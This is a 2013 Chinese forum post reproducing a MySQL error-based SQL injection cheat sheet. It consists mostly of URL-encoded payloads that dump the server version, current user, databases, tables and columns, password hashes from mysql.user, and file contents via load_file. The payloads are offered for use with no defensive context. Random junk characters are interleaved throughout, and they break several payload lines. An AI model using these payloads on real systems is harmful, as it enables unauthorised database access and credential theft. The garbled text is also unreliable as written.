本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
, N- A4 _& w% N
4 U z: T# Y$ u3 d. \5 _8 S- B7 n* J9 w0 K; x
Mysql暴错注入参考(pdf),每天一贴。。。
* ]3 f1 S6 m+ R& q7 m$ l( D8 ~ k+ M1 x/ X( N. _! M
MySql Error Based Injection Reference8 C! l: s6 J V% d: V
[Mysql暴错注入参考]
% f+ x( B; `5 F- UAuthornig0s1992. ?5 c. d4 {( @) O, |. m L% M
Blog:http://pnig0s1992.blog.51cto.com/ \1 t% o& A r$ ~
TeAm:http://www.FreeBuf.com/
- C$ _6 _! I* TMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功1 C3 @& C! Y4 e$ a. ~. T; c0 F2 X
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
7 R9 ` q% F; c/ ]1 h查询版本:
& m* v: k8 ]% vMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: n- u, l2 d4 w, c) p; Fjoin+(select+name_const(@@version,0))b)c)
. U, t& h+ [. U, u4 T; cMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
* ` y9 w1 p. T' o& V: Hup by a)b)5 w0 c# o$ Y; G& x! T0 P. i- C
查询当前用户:
5 V3 U$ L. H2 R) ^8 U2 D/ fMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)* k7 G; q1 v8 C4 d
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r9 G6 K) I9 N/ F+ ?9 v3 s8 v- s* P
and(0)*2))x+from+information_schema.tables+group+by+x)a)
! e, c" R `2 \" R, M查询当前数据库:
; G8 r6 n+ Q) w+ u6 mMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
8 a4 Q v+ ~' Z3 M1 @Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
2 c, N# _7 R. oor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
- S+ x' w6 v2 L- B( m依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
. W. S0 Z- f& P: G8 A9 `* k( KLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
" k ?, X$ a, O8 M) G7 c5 |顺序替换; c) I" e3 N& B; D' n' P
爆指定库数目:
" ?1 \& b4 a: wand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t9 T% I: Z6 J; |& q6 T
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group& K" O/ I- v; z. Y6 o
+by+x)a)+and+1=1 0x6D7973716C=mysql% n$ A/ q' V7 S9 s! S4 t) r
依次爆表:
# N# r/ T5 [8 r% W' i0 a* Land+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t/ I9 p( j5 `7 E* q5 Y+ M
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
" I/ Z" e- N( ?: T) W! ~; R* wbles+group+by+x)a)+and+1=1
2 a# {: ]: B: l( B7 H0x6D7973716C=Mysql 将n顺序替换
: e8 A) }! N( i9 I, y( ]3 W爆表内字段数目:6 ^. t/ A- |; N/ l4 s& F* C
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
9 v$ v" k0 a, G' I3 z6 t+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
5 h8 j+ l' }6 ?$ A' D, b4 ? Q0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
/ [1 j8 o* h& J3 Y7 Z' p' ?依次爆字段:/ P: c9 L4 e$ R% K
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
# b, J% ?8 r/ w( e# o+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1! A+ U# g) ^5 ?! j5 r( ?
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
, T; U% h; K5 S$ [7 g/ h9 y) o) M8 f' Q7 j依次暴内容:
; U3 I2 g" W: E4 G; S7 gand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
R G$ f% ~3 ^+ P# Yma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( D7 m# T* C' |, t将n顺序替换
! b4 l" t1 O; J爆文件内容:4 S7 Y) d7 d# h3 b1 l7 E+ l2 r, D9 H
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a$ m( r/ e2 P4 O% d% _3 A' L9 N
from+information_schema.tables+group+by+a)b) X# H% B; c+ ?# H0 O; V+ J: ?% {
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节! G8 G- e' R. y6 `4 I- j% M
Thx for reading.
0 p& A4 N) I: @% g/ @! x
# a A6 m3 H0 M: W: c+ p不要下载也可以, & A" ?4 z* `5 \5 A8 Y3 L. C
|